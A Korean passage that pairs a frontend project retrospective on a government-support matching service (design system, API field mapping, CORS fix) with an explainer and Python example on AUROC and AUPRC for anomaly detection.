사업정보 단계형 (ProgressBar, 건너뛰기 가능) (작성 필요) 공고 카드 (작성 필요) 카드형 목록 + 지원가능성/마감일 뱃지 (작성 필요) 4. UI 디자인 & 디자인 시스템 : UI & Design System 신뢰감을 주는 네이비·퍼플 계열에 따뜻한 크림 배경을 더해, '행정 서비스지만 어렵지 않은' 인상을 목표로 했다. 비주얼 컨셉 : Visual Concept 역할 색상 사용처 Primary 네이비 #3B3F88 타이틀, 로고, 주요 버튼 Secondary 퍼플 #573B88 로고 그라데이션, 강조 Tint 라벤더 #9AA0D5 배경 그라데이션, 보조 영역 Background 크림 #F4F0E9 카드·섹션 배경 상태 컬러: 검수 결과 3단계(충족 / 추가 확인 필요 / 미충족)를 색으로 구분 타이포그래피: (작성 필요) AI 신청 적합성 검수 결과 Page 지원사업 찾기 page 챗봇 page 디자인 시스템 : Design System Asset 컴포넌트 쓰인 화면 주요 상태/Variant Header 전체 로그인 전 / 후 (마이페이지·로그아웃 버튼) ProgramCard 홈, 공고 목록 지원가능성 뱃지, D-day 뱃지 SearchBar 홈, 공고 목록 키워드 입력 Filter 공고 목록 지역, 접수상태, 마감임박순, 카테고리 SignupStepCard 회원가입 기본정보 / 세부 사업정보 단계 ProgressBar 회원가입 단계 진행률 예외 처리 화면 : Edge Cases _※ Develop 필요 _ 상황 설계 내용 사업정보 미입력 회원가입 시 세부 사업정보 '건너뛰기' 허용 검색 결과 없음 (Empty State) (작성 필요) 데이터 로딩 중 (Loading/Skeleton) (작성 필요) 에러 팝업 (작성 필요) 5. 개발 협업 & 트러블슈팅 : Developer Collaboration 화면에 보이는 이름과 API 데이터 이름을 맞추고, CORS 문제를 백엔드와 함께 풀며 프론트 A 파트를 3일 안에 연결했다. 컴포넌트·데이터 매핑 : Figma to Code Mapping ProgramCard에 들어갈 필드를 백엔드 응답 필드명과 1:1로 맞춰 확정. 화면 요소 초기 이름 확정 필드명 처리 공고명 title title 유지 카테고리 category category 유지 지원 대상 target target 유지 주관 기관 agency organization 이름 변경 요약 description summary 이름 변경 D-day / 접수기간 dday , period applicationStartAt , applicationEndAt 프론트에서 계산해 표시 기술적 제약과의 타협 : Troubleshooting 케이스 문제 원인 해결 CORS (FE·BE) 회원가입·로그인 API 호출이 브라우저에서 차단됨 프론트와 백엔드 서버 주소가 달라 교차 출처 요청이 막힘 백엔드에 허용 출처 설정 추가, 프론트 axios baseURL을 백엔드 주소로 통일 HWP 추출 (BE·AI) 비정형 HWP 공고문에서 자격요건 추출 실패 HWP 포맷용 파싱 모듈 부재 HWP 파싱 오픈소스 도입, 텍스트 추출 로직 보완 AI 환각 (AI·FE) 공고 근거를 벗어난 모호·추정 답변 발생 초기 LLM의 문맥 제어·응답 범위 제한 부족 공고 기반 프롬프트 구조화, 응답 범위·생성 규칙 제한 직접 다룬 건 CORS 케이스, 프론트 A 파트(화면 4개, 컴포넌트 6개, API 4개)를 3일 안에 끝내야 했다. 팀원의 프로토타입 브랜치( feature/first-prototype )를 기준으로 Header·ProgramCard·Filter·목록 화면을 합쳐 일정을 맞췄다. 핸드오프 : Hand-off 문서화 GitHub FrontEnd 레포에서 기능별 브랜치( feature/home , program , review , chat , mypage , auth 등)로 작업을 나눔 프론트 A(가입 공고 찾기) / B(공고 상세 AI 검수·챗봇·마이페이지)로 화면 경계를 정해 2명이 충돌 없이 작업 6. 성과 및 회고 : Outcome & Retrospective 사업정보 입력부터 AI 검수·챗봇·저장까지 이어지는 시연 가능한 흐름을 완성하고, 일주일 뒤인 9.30 최종 발표 프로젝트 결과 : Result 구현 범위 : 회원가입·로그인(JWT), 사업정보 등록, 지원사업 목록·검색·필터, 맞춤 추천, AI 신청 전 검수(3단계 판정 + 근거), 공고 기반 AI 챗봇, 마이페이지 저장 API 6종 : 회원가입, 사업정보 등록, 지원사업 목록 조회, AI 신청 전 검수, AI 챗봇, 맞춤공고 조회 기대 효과 : 탐색 시간 단축, 리스크 사전 확인, 준비 부담 감소 — 행정 경험이 적은 1인 소상공인도 혼자 지원사업에 도전할 수 있게 함 수익 모델 구상 : Freemium 구독, 제휴 세무·행정, B2G 지자체·기관, 광고 배너 수익 모델 1 수익 모델 2 배운 점 : Key Takeaways 화면 요소 이름과 API 필드명을 먼저 맞춰 두면 연동 단계의 수정이 줄어든다 ( agency → organization , D-day는 날짜 필드로 계산) CORS처럼 프론트 혼자 해결할 수 없는 문제는 원인을 정리해 백엔드와 나눠 푸는 것이 빠르다 프론트엔드 입문 단계에서 3일 안에 화면 4개를 만들기 위해, 범위를 화면 단위로 나누고 기존 프로토타입을 재사용했다 아쉬운 점 및 추후 개선 계획 : Future Plan 개선 항목 현재 향후 사업정보 항목 확대 입력 항목이 제한적이라 정밀 매칭에 한계 사업 규모·업력·매출·관심 분야 등으로 확장해 매칭 정확도 향상 맞춤 공고 알림 사용자가 직접 목록을 확인해야 해 신규 공고를 놓칠 수 있음 신규 공고를 사업정보와 자동 비교해 적합도 높은 공고 알림 프롬프트 고도화 일부 질문에서 답변의 일관성·구체성 부족 공고 유형·질문 의도별 프롬프트 세분화, 출력 형식 구조화
AUROC (Area Under the Receiver Operating Characteristic curve) 는 분류 모델의 성능을 측정하는 지표 중 하나로, 모델이 양성(Positive) 클래스와 음성(Negative) 클래스를 얼마나 잘 구분하는지를 나타냅니다. 1. AUROC 계산 방법 AUROC를 이해하려면 먼저 ROC 곡선 을 이해해야 합니다. 1 ROC 곡선 (Receiver Operating Characteristic Curve) ROC 곡선은 임계값(Threshold)을 변화시킬 때, TPR(True Positive Rate) 과 FPR(False Positive Rate) 이 어떻게 변하는지를 나타낸 그래프입니다. TPR (재현율, Recall/Sensitivity): 실제 양성 중 양성으로 맞춘 비율 $$\text{TPR} = \frac{\text{TP}}{\text{TP} + \text{FN}}$$ FPR (1 - 특이도): 실제 음성 중 양성으로 틀린 비율 $$\text{FPR} = \frac{\text{FP}}{\text{FP} + \text{TN}}$$ 모델이 예측한 점수(Score)를 기준으로 임계값을 $1.0$에서 $0.0$까지 낮추어 가며, 매 단계마다 TPR과 FPR을 계산하여 그래프를 그립니다. 2 AUROC (Area Under the Curve) AUROC는 이 ROC 곡선 아래의 면적 을 의미합니다. AUROC = 1.0: 완벽한 분류기 (모든 양성을 맞히고, 모든 음성을 정확히 구분) AUROC = 0.5: 무작위 추측 (Random Guessing, 대각선 형태) AUROC < 0.5: 모델이 거꾸로 예측하고 있음 (클래스를 반대로 분류) 2. 이상 탐지(Anomaly Detection)에서 AUROC를 쓰는 이유 이상 탐지 문제에서는 일반적인 분류 문제와 다른 두 가지 큰 특징이 있으며, 이 때문에 AUROC가 매우 중요한 지표가 됩니다. 1 데이터 불균형(Imbalance) 문제 해결 이상 탐지 데이터는 대부분 정상(Normal) 이고 이상(Anomaly) 데이터는 극히 적습니다. Accuracy(정확도)의 한계: 만약 데이터의 99%가 정상이라면, 모델이 무조건 "정상"이라고만 답해도 정확도는 99%가 나옵니다. 이는 모델이 이상치를 전혀 못 찾아내도 성능이 좋아 보이는 착시 현상을 일으킵니다. AUROC의 강점: AUROC는 클래스의 비율(Imbalance)에 영향을 받지 않고, 모델이 '정상'과 '이상' 사이의 경계(Separation) 를 얼마나 잘 구분하는지를 측정합니다. 2 임계값(Threshold)에 대한 의존성 없음 (Threshold-Independent) 이상 탐지 시스템을 운영할 때, "어느 정도 점수 이상을 이상치로 간주할 것인가?"라는 임계값을 정하는 것은 매우 어렵습니다. 어떤 시스템은 오탐(False Positive)을 줄이는 것이 중요하고, 어떤 시스템은 미검(False Negative)을 줄이는 것이 중요합니다. AUROC는 특정 임계값을 지정하지 않고, 모든 가능한 임계값에서의 성능을 종합적으로 평가 합니다. 즉, 모델 자체가 가진 "구분 능력" 그 자체를 평가하므로, 나중에 최적의 임계값을 선택할 수 있는 잠재력을 측정하는 데 적합합니다. 3 순위 지정 능력(Ranking Ability) 평가 이상 탐지는 사실상 "이 데이터가 다른 데이터에 비해 얼마나 더 이상한가?" 라는 순위를 매기는 작업입니다. AUROC는 수학적으로 "무작위로 뽑은 이상치 데이터의 점수가 무작위로 뽑은 정상 데이터의 점수보다 높을 확률" 을 의미합니다. 따라서 모델이 이상치를 상위권에, 정상을 하위권에 잘 배치(Ranking)하는지를 평가하는 데 가장 직관적인 지표입니다. 요약 지표 특징 이상 탐지에서의 적합성 Accuracy 전체 중 맞춘 비율 낮음 (데이터 불균형 시 왜곡 심함) F1-Score 정밀도와 재현율의 조화 평균 높음 (특정 임계값에서의 성능 측정) AUROC 모든 임계값에서의 구분 능력 매우 높음 (불균형 데이터 및 모델의 잠재 성능 평가에 최적) 단순한 예제를 넘어, 실제 데이터 분석 환경과 유사하게 다음과 같은 요소를 포함하여 코드를 작성해 보겠습니다. 데이터 불균형(Imbalance) 구현 : 이상 탐지 데이터처럼 정상 데이터는 많고 이상 데이터는 아주 적은 상황을 시뮬레이션합니다. 다양한 모델 비교 : 아주 성능이 좋은 모델, 중간 성능의 모델, 그리고 무작위로 예측하는 모델을 비교합니다. ROC 곡선과 PR(Precision-Recall) 곡선 동시 시각화 : 이상 탐지에서는 AUROC만큼이나 AUPRC(Area Under Precision-Recall Curve) 가 중요하므로, 두 곡선을 모두 그려 비교하겠습니다. 복합 예제 코드 (Python) import numpy as np import matplotlib.pyplot as plt from sklearn.datasets import make_classification from sklearn.model_selection import train_test_split from sklearn.ensemble import RandomForestClassifier from sklearn.metrics import roc_auc_score, roc_curve, precision_recall_curve, average_precision_score # 1. 복잡한 데이터셋 생성 (Imbalanced Dataset) # 1000개의 샘플 중 오직 5%만이 이상치(1)인 상황 X, y = make_classification(n_samples=1000, n_features=20, n_clusters_per_class=1, weights=[0.95, 0.05], flip_y=0, n_classes=2, random_state=42) X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, stratify=y, random_state=42) # 2. 세 가지 시나리오의 예측 확률(Score) 생성 # Scenario A: 매우 강력한 모델 (실제 학습된 모델) model_best = RandomForestClassifier(n_estimators=100, random_state=42) model_best.fit(X_train, y_train) y_probs_best = model_best.predict_proba(X_test)[:, 1] # Scenario B: 성능이 다소 낮은 모델 (노이즈가 섞인 예측) y_probs_mid = np.clip(y_probs_best + np.random.normal(0, 0.2, size=len(y_probs_best)), 0, 1) # Scenario C: 무작위 예측 (Random Guessing) y_probs_random = np.random.rand(len(y_test)) # 3. 지표 계산 함수 def get_metrics(y_true, y_probs): roc_auc = roc_auc_score(y_true, y_probs) pr_auc = average_precision_score(y_true, y_probs) # AUPRC return roc_auc, pr_auc # 4. 시각화 fig, ax = plt.subplots(1, 2, figsize=(16, 6)) models = [ (y_probs_best, 'High Performance', 'darkgreen'), (y_probs_mid, 'Mediocre Performance', 'orange'), (y_probs_random, 'Random Guessing', 'gray') ] for probs, label, color in models: auc_roc, auc_pr = get_metrics(y_test, probs) # ROC Curve 계산 fpr, tpr, _ = roc_curve(y_test, probs) ax[0].plot(fpr, tpr, color=color, lw=2, label=f'{label} (AUROC = {auc_roc:.2f})') # Precision-Recall Curve 계산 precision, recall, _ = precision_recall_curve(y_test, probs) ax[1].plot(recall, precision, color=color, lw=2, label=f'{label} (AUPRC = {auc_pr:.2f})') # 그래프 스타일 설정 (ROC) ax[0].plot([0, 1], [0, 1], 'k--', lw=1) ax[0].set_xlim([0.0, 1.0]) ax[0].set_ylim([0.0, 1.05]) ax[0].set_xlabel('False Positive Rate') ax[0].set_ylabel('True Positive Rate') ax[0].set_title('ROC Curve (Discriminative Power)') ax[0].legend(loc="lower right") ax[0].grid(alpha=0.3) # 그래프 스타일 설정 (PR) ax[1].set_xlim([0.0, 1.0]) ax[1].set_ylim([0.0, 1.05]) ax[1].set_xlabel('Recall') ax[1].set_ylabel('Precision') ax[1].set_title('Precision-Recall Curve (Imbalanced Data Performance)') ax[1].legend(loc="lower left") ax[1].grid(alpha=0.3) plt.tight_layout() plt.show() 💡 코드 핵심 설명 및 심화 학습 1. 왜 ROC와 PR 곡선을 같이 보나요? (매우 중요) 코드에서 두 개의 그래프를 그린 이유는 이상 탐지(Anomaly Detection)의 특수성 때문입니다. ROC Curve (왼쪽 그래프): 전체적인 모델의 구분 능력(Separation) 을 보여줍니다. 데이터가 불균형해도 (양성이 적어도) 비교적 완만하게 변화하므로, 모델의 전반적인 성능을 파악하기 좋습니다. 하지만 데이터가 극단적으로 불균형할 경우(예: 양성이 0.001%), 모델이 매우 우수함에도 불구하고 ROC 곡선이 실제보다 훨씬 좋아 보이는 낙관적 편향(Optimistic Bias) 이 발생할 수 있습니다. Precision-Recall Curve (오른쪽 그래프): 정밀도(Precision) 와 재현율(Recall) 의 관계를 보여줍니다. 이상 탐지처럼 "정상이 너무 많아서" 발생하는 오탐(False Positive)에 매우 민감하게 반응합니다. 실제 산업 현장(예: 카드 부정 결제 탐지, 불량품 검출)에서는 "정상을 이상으로 잘못 판단하는 비용"이 매우 크기 때문에, AUPRC(Area Under PR Curve) 를 더 엄격한 지표로 사용하는 경우가 많습니다. 2. 데이터 시나리오 분석 High Performance (초록색): ROC와 PR 곡선 모두 왼쪽 상단(1,1)으로 가깝게 붙습니다. 이는 양성을 아주 잘 찾아내면서도 동시에 오답을 거의 내지 않는다는 뜻입니다. Mediocre Performance (주황색): 모델의 점수에 노이즈가 섞이면 ROC는 완만하게 꺾이지만, PR 곡선은 급격하게 떨어지는 것을 볼 수 있습니다. 이는 모델이 이상치를 찾으려 할 때 정상을 이상으로 잘못 판단하는 비율이 급격히 늘어남을 의미합니다. Random Guessing (회색): ROC는 대각선($y=x$)을 따라가고, PR 곡선은 양성 클래스의 비율($\text{Positive Rate}$) 근처에서 수평선을 그립니다. 3. 결론: 어떤 지표를 믿어야 할까? 만약 당신이 "전반적으로 이 모델이 얼마나 잘 작동하는가?" 를 알고 싶다면 AUROC 를 보세요. 만약 당신이 "데이터가 매우 불균형한 상황에서, 오탐(False Positive)을 최소화하며 이상치를 얼마나 잘 잡아내는가?" 를 알고 싶다면 AUPRC 를 보세요. (이상 탐지에서는 이쪽이 훨씬 더 실무적입니다.)